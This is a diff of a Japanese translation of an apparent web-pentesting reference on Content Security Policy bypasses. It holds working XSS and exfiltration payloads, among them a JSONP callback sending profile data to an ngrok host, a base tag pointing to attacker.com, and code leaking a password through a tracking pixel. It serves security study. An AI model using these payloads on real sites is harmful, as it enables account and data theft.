- **plugin-types**: ページが呼び出すことができるmimeタイプを制限します。
|
- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
|
||||||
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
|
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
|
||||||
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
|
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
|
||||||
- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
|
- **report-to**: ポリシーが違反された場合に報告が送信されるグループを指定します。
|
||||||
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
|
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
|
||||||
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
|
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
|
||||||
- **navigate-to**: ドキュメントがあらゆる手段(a、form、window.location、window.openなど)でナビゲートできるURLを制限します。
|
- **navigate-to**: ドキュメントがあらゆる手段(a、form、window.location、window.openなど)でナビゲートできるURLを制限します。
|
||||||
@ -69,8 +69,8 @@ object-src 'none';
|
|||||||
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||||
- `'unsafe-hashes'`: 特定のインラインイベントハンドラーを有効にします。
|
- `'unsafe-hashes'`: 特定のインラインイベントハンドラーを有効にします。
|
||||||
- `'unsafe-inline'`: インライン`<script>`や`<style>`のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
- `'unsafe-inline'`: インライン`<script>`や`<style>`のようなインラインリソースの使用を許可しますが、セキュリティ上の理由から推奨されません。
|
||||||
- `'nonce'`: 暗号的なノンス(1回使用される番号)を使用する特定のインラインスクリプトのホワイトリストです。
|
- `'nonce'`: 暗号的なノンス(1回限り使用される番号)を使用した特定のインラインスクリプトのホワイトリストです。
|
||||||
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。以下のように:
|
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みノンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能です(strict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません)。次のように:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@ -139,7 +139,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
|||||||
```
|
```
|
||||||
### object-src と default-src の欠如
|
### object-src と default-src の欠如
|
||||||
|
|
||||||
> [!CAUTION] > **これがもう機能していないようです**
|
> [!CAUTION] > **これはもはや機能していないようです**
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' ;
|
Content-Security-Policy: script-src 'self' ;
|
||||||
```
|
```
|
||||||
@ -161,13 +161,13 @@ JSファイルをアップロードできる場合、このCSPをバイパスで
|
|||||||
```
|
```
|
||||||
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
|
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
|
||||||
|
|
||||||
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中でJavascript**コードを**実行することを拒否します**。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/***のような**MIMEタイプで提供しません**。
|
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めてアップロードできたとしても**(例えば、_script.png_のように)、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを**実行することを拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を**知らないため、audio/\***のような**MIMEタイプで提供しません**。
|
||||||
|
|
||||||
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
|
||||||
|
|
||||||
### フォームアクション
|
### フォームアクション
|
||||||
|
|
||||||
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーがパスワードを自動入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
|
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
|
||||||
|
|
||||||
### サードパーティエンドポイント + ('unsafe-eval')
|
### サードパーティエンドポイント + ('unsafe-eval')
|
||||||
|
|
||||||
@ -176,7 +176,7 @@ JSを注入することが不可能な場合でも、例えば資格情報を**
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
脆弱なバージョンのangularをロードし、任意のJSを実行します:
|
脆弱なバージョンのAngularをロードし、任意のJSを実行します:
|
||||||
```xml
|
```xml
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
|||||||
|
|
||||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||||
```
|
```
|
||||||
より多くの[**この書き込みからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
より多くの[**このレポートからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||||
```html
|
```html
|
||||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||||
|
|
||||||
@ -284,13 +284,13 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
|||||||
https://www.youtube.com/oembed?callback=alert;
|
https://www.youtube.com/oembed?callback=alert;
|
||||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパス用の使用可能なJSONPエンドポイントを含んでいます。**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパス用の即使用可能なJSONPエンドポイントを含んでいます。**
|
||||||
|
|
||||||
**信頼されたエンドポイントにオープンリダイレクトが含まれている**場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
|
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
|
||||||
|
|
||||||
### 第三者の悪用
|
### 第三者の悪用
|
||||||
|
|
||||||
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインが、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
||||||
|
|
||||||
| エンティティ | 許可されたドメイン | 機能 |
|
| エンティティ | 許可されたドメイン | 機能 |
|
||||||
| ----------------- | -------------------------------------------- | ------------ |
|
| ----------------- | -------------------------------------------- | ------------ |
|
||||||
@ -303,7 +303,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||||
|
|
||||||
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
|
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
|
||||||
|
|
||||||
例えば、次のCSPが見つかった場合:
|
例えば、次のCSPが見つかった場合:
|
||||||
```
|
```
|
||||||
@ -329,13 +329,13 @@ fbq('trackCustom', 'My-Custom-Event',{
|
|||||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
前の表で指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用に関する追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
|
前の表に指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
|
||||||
|
|
||||||
### RPO(相対パス上書き)によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### RPO(相対パス上書き)によるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
前述のパス制限を回避するためのリダイレクションに加えて、いくつかのサーバーで使用できる相対パス上書き(RPO)と呼ばれる別の技術があります。
|
前述のパス制限を回避するためのリダイレクションに加えて、いくつかのサーバーで使用できる相対パス上書き(RPO)という別の技術があります。
|
||||||
|
|
||||||
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
|
例えば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
@ -343,7 +343,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
|
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
|
||||||
|
|
||||||
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` をリクエストします。これは `https://example.com/scripts/angular/angular.js` と同等です。
|
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` を要求します。これは `https://example.com/scripts/angular/angular.js` と同等です。
|
||||||
|
|
||||||
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
|
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
|
||||||
|
|
||||||
@ -357,11 +357,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **base-uri** が欠落している
|
### **base-uri** が欠落している場合
|
||||||
|
|
||||||
**base-uri** ディレクティブが欠落している場合、[**ダンギングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/)を実行するために悪用できます。
|
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/)を実行するために悪用できます。
|
||||||
|
|
||||||
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ** を悪用して **自分のサーバーからスクリプトを読み込ませ、XSSを達成することができます。**\
|
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
|
||||||
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
|
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
|
||||||
```html
|
```html
|
||||||
<base href="https://www.attacker.com/" />
|
<base href="https://www.attacker.com/" />
|
||||||
@ -370,7 +370,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
|
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
|
||||||
|
|
||||||
この配列を`orderBy`フィルターに向けることで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:
|
この配列を`orderBy`フィルターに渡すことで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:
|
||||||
```xml
|
```xml
|
||||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
```
|
```
|
||||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||||
```
|
```
|
||||||
Angular JSアプリケーションでスクリプト読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます。
|
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます。
|
||||||
|
|
||||||
動作するペイロード:
|
動作するペイロード:
|
||||||
```html
|
```html
|
||||||
@ -401,7 +401,7 @@ CSPがサーバーサイドのリダイレクションに遭遇した場合、
|
|||||||
|
|
||||||
しかし、[CSP仕様4.2.2.3. パスとリダイレクション](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
|
しかし、[CSP仕様4.2.2.3. パスとリダイレクション](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
|
||||||
|
|
||||||
以下はその例です:
|
例を示します:
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
@ -419,11 +419,11 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、両方の`/test`および`/a/test`スクリプトはCSPによってブロックされます。
|
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
|
||||||
|
|
||||||
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクションであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
|
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
|
||||||
|
|
||||||
このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。
|
このリダイレクトにより、パスが完全に指定されていても、依然として回避されます。
|
||||||
|
|
||||||
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
|
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
|
||||||
|
|
||||||
@ -435,9 +435,9 @@ CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが
|
|||||||
```
|
```
|
||||||
default-src 'self' 'unsafe-inline'; img-src *;
|
default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページで任意のリソースからの画像を使用できることを意味します。
|
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページで任意のリソースから任意の画像を使用できることを意味します。
|
||||||
|
|
||||||
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
|
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||||
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、あなたは**ポリシーを変更**して**無効にする**ことができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
|
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、あなたは**ポリシーを変更**して**無効にする**ことができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'を許可**することができます:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
@ -478,7 +478,7 @@ Edgeでははるかに簡単です。CSPにこれを追加するだけで: **`;_
|
|||||||
### img-src \*; via XSS (iframe) - タイムアタック
|
### img-src \*; via XSS (iframe) - タイムアタック
|
||||||
|
|
||||||
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
|
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
|
||||||
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して`<iframe>`で**読み込ませる**ことができます。今回は、情報を抽出したいページに被害者がアクセスするようにします(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みにかかる時間を制御できれば**、必要な情報を抽出できます。
|
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませることができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
|
||||||
|
|
||||||
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります。
|
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります。
|
||||||
```html
|
```html
|
||||||
@ -550,7 +550,7 @@ run()
|
|||||||
|
|
||||||
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。
|
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。
|
||||||
|
|
||||||
**`csp`**属性を使用して、**iframeのCSPを制限する**ことができます:
|
**`csp`**属性を使用して、**iframeのCSPを制限する**ことができます:
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||||
@ -568,9 +568,9 @@ content="script-src 'self'
|
|||||||
```
|
```
|
||||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**(おそらくCRLFのため)で応答するように管理できれば、あなたのサーバーを指すように設定でき、**JSコンテンツ**を**`<script>`**でラップすると、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に流出させることができます。そして、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
||||||
|
|
||||||
例として[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
例については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
||||||
|
|
||||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||||
```javascript
|
```javascript
|
||||||
@ -591,26 +591,26 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||||||
```
|
```
|
||||||
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。
|
CSPによってブロックまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを明らかにすることができます。
|
||||||
|
|
||||||
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーが意図せずに機密情報を漏洩させる可能性があることを示しています。
|
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させるかを示しています。
|
||||||
|
|
||||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
[**ここ**](https://ctftime.org/writeup/29310)からのトリック。
|
||||||
|
|
||||||
## CSPをバイパスするための危険な技術
|
## CSPをバイパスするための危険な技術
|
||||||
|
|
||||||
### パラメータが多すぎるときのPHPエラー
|
### パラメータが多すぎるときのPHPエラー
|
||||||
|
|
||||||
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため**送信されません**。
|
この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため**送信されません**。
|
||||||
|
|
||||||
### PHPレスポンスバッファのオーバーロード
|
### PHPレスポンスバッファのオーバーロード
|
||||||
|
|
||||||
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
|
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**は**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
|
||||||
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
|
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
|
||||||
|
|
||||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
|
||||||
|
|
||||||
### エラーページの書き換え
|
### エラーページの書き換え
|
||||||
|
|
||||||
[**このwriteup**](https://blog.ssrf.kr/69)によると、エラーページ(CSPがない可能性がある)を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
|
